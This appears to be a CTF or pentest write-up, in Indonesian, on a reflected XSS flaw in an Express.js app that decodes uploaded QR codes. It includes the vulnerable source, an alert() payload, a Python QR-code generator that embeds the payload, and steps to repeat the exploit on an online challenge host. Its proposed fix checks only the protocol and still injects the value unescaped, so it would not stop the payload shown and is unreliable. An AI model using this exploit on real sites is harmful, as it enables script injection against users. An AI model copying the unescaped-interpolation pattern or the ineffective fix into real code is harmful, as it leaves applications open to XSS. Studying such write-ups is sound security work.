Skip to content

Instantly share code, notes, and snippets.

@z0rs
Last active February 22, 2025 18:52
Show Gist options
  • Save z0rs/0cb2d979162029319a800e99653c8a3c to your computer and use it in GitHub Desktop.
Save z0rs/0cb2d979162029319a800e99653c8a3c to your computer and use it in GitHub Desktop.

Laporan Penetration Testing Metode Whitebox

Deskripsi Singkat

Tugas ini adalah untuk melakukan penetration testing menggunakan metode whitebox pada sebuah aplikasi berbasis web yang menggunakan Express.js dan modul QR code. Tujuannya adalah untuk menemukan celah keamanan dengan membaca source code yang diberikan tanpa melakukan scanning apapun.

Langkah-langkah Eksploitasi

1. Analisis Source Code

Source code yang diberikan pada file index.js adalah sebagai berikut:

const express = require('express');
const multer = require('multer');
const qrnode = require('qrnode');
const ejs = require('ejs');

function decodeQr(path){
    return new Promise((resolve, _)=>{
        return qrnode.detect(path, (data) => {
            resolve(data);
        });
    })
}

const app = express();
const upload = multer({ dest: 'uploads/', limits: { fileSize: 10000 }} );

app.set('view engine', 'ejs');
app.set('views', 'views');

app.get('/', (req, res) => {
    res.render('index');
});

app.post('/upload', upload.single('qrcode'), async (req, res) => {
    try {
        const qrCode = await decodeQr(req.file.path);
        if(qrCode.startsWith('http') || qrCode.startsWith('https')){
            res.send(ejs.render(`<script>window.location.href = '${qrCode}';</script>`));
        }else{
            res.send(ejs.render(`<script>window.location.href = 'https://www.google.com/search?q=${qrCode}';</script>`));
        }
    } catch (error) {
        res.send('Error');
    }
});

app.listen(3000, () => console.log('Server is running on port 3000'));

2. Identifikasi Celah Keamanan

Dari source code tersebut, kita dapat melihat bahwa aplikasi ini memungkinkan pengguna untuk mengupload file QR code, yang kemudian di-decode dan digunakan untuk mengarahkan browser ke URL yang ditemukan dalam QR code tersebut.

Berikut adalah langkah-langkah yang mengindikasikan adanya celah keamanan:

  • Aplikasi menerima input dari QR code yang diupload dan langsung menggunakannya untuk mengarahkan browser tanpa validasi lebih lanjut.
  • Penggunaan ejs.render untuk menyisipkan URL dari QR code ke dalam skrip JavaScript dapat dieksploitasi untuk serangan XSS (Cross-Site Scripting).

3. Eksploitasi Celah Keamanan

Untuk mengeksploitasi celah ini, kita bisa membuat QR code yang berisi payload XSS. Contoh payload sederhana:

data = "http://192.168.1.3:3000/'; alert(1);'"

Berikut adalah script Python untuk menghasilkan QR code dengan payload tersebut:

import qrcode
from PIL import Image
import io

def generate_qr_code(data, max_size_kb=10):
    scale = 10 
    file_size_kb = max_size_kb + 1

    while file_size_kb > max_size_kb:
        qr = qrcode.QRCode(
            version=1,
            error_correction=qrcode.constants.ERROR_CORRECT_L,
            box_size=scale,
            border=4,
        )
        qr.add_data(data)
        qr.make(fit=True)

        img = qr.make_image(fill='black', back_color='white')

        buffer = io.BytesIO()
        img.save(buffer, format="PNG")

        file_size_kb = len(buffer.getvalue()) / 1024

        if file_size_kb > max_size_kb:
            scale -= 1 

        if scale < 1:
            raise Exception("10 KB")

    with open('qrcode.png', 'wb') as f:
        f.write(buffer.getvalue())

    return img

data = "http://192.168.1.3:3000/'; alert(1);'"
qr_image = generate_qr_code(data)

qr_image.show()

Dengan script tersebut, kita menghasilkan QR code yang akan mengarahkan browser ke URL yang berisi payload XSS. QR code ini bisa diupload ke aplikasi target untuk melakukan eksploitasi.

4. Eksekusi Eksploitasi pada Target Online

Setelah memastikan eksploitasi berhasil pada local machine, langkah selanjutnya adalah melakukan hal yang sama pada target online di http://ctf.widyasecurity.com.

  1. Jalankan perintah docker compose up -d untuk mengaktifkan aplikasi lokal.
  2. Upload QR code dengan payload XSS pada endpoint /upload dari aplikasi lokal.
  3. Verifikasi bahwa payload XSS berhasil dieksekusi dengan memantau hasilnya di browser.
  4. Lakukan proses yang sama pada target online untuk mengeksploitasi aplikasi tersebut.

Penjelasan Detail Eksploitasi

  1. Memahami Struktur Aplikasi:

    • Aplikasi ini menggunakan express untuk membuat server HTTP.
    • Menggunakan multer untuk menangani upload file.
    • Menggunakan qrnode untuk mendekode QR code.
    • Menggunakan ejs untuk rendering template HTML.
  2. Menemukan Celah XSS:

    • Pada route /upload, QR code yang diupload didecode menggunakan qrnode.detect.
    • Jika hasil decode adalah URL (dimulai dengan 'http' atau 'https'), maka URL tersebut dimasukkan langsung ke dalam ejs.render dan dijadikan bagian dari JavaScript untuk mengarahkan browser ke URL tersebut.
    • Tidak ada validasi terhadap input dari QR code yang memungkinkan XSS.
  3. Payload XSS:

    • Contoh payload yang digunakan adalah data = "http://192.168.1.3:3000/'; alert(1);'".
    • Payload ini akan menyebabkan browser mengeksekusi alert(1) saat URL tersebut diakses, membuktikan adanya celah XSS.
  4. Pembuatan QR Code:

    • Menggunakan script Python di atas, QR code dengan payload XSS dihasilkan dan diupload ke aplikasi.
    • Setelah upload, aplikasi akan mendekode QR code dan mengeksekusi payload XSS.
  5. Verifikasi:

    • Ketika QR code dengan payload XSS diupload, aplikasi akan menampilkan alert box dengan pesan 1, membuktikan bahwa payload dieksekusi.

Verify metasploit

Kesimpulan

Penetration testing ini mengungkapkan adanya celah keamanan XSS pada aplikasi yang dihasilkan oleh pemrosesan QR code tanpa validasi yang memadai. Dengan payload yang tepat, penyerang dapat menyisipkan skrip berbahaya ke dalam aplikasi yang dapat dieksekusi oleh browser pengguna.

Rekomendasi

Untuk mengatasi celah ini, aplikasi harus memvalidasi dan memfilter input dari QR code sebelum menyisipkannya ke dalam HTML. Sebagai langkah awal, gunakan pustaka yang aman untuk merender HTML, seperti menggunakan ejs dengan mekanisme escape otomatis untuk menghindari eksekusi skrip yang tidak diinginkan.

Tambahan: Keamanan Input

Disarankan untuk menambahkan validasi pada input sebelum digunakan. Berikut adalah contoh bagaimana bisa menambahkan validasi dasar pada input:

const url = require('url');

app.post('/upload', upload.single('qrcode'), async (req, res) => {
    try {
        const qrCode = await decodeQr(req.file.path);
        const parsedUrl = url.parse(qrCode);
        
        if(parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:'){
            res.send(ejs.render(`<script>window.location.href = '${qrCode}';</script>`));
        } else {
            res.send(ejs.render(`<script>window.location.href = 'https://www.google.com/search?q=${qrCode}';</script>`));
        }
    } catch (error) {
        res.send('Error');
    }
});

Dengan menambahkan pengecekan protokol, kita dapat mengurangi risiko eksekusi skrip berbahaya.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment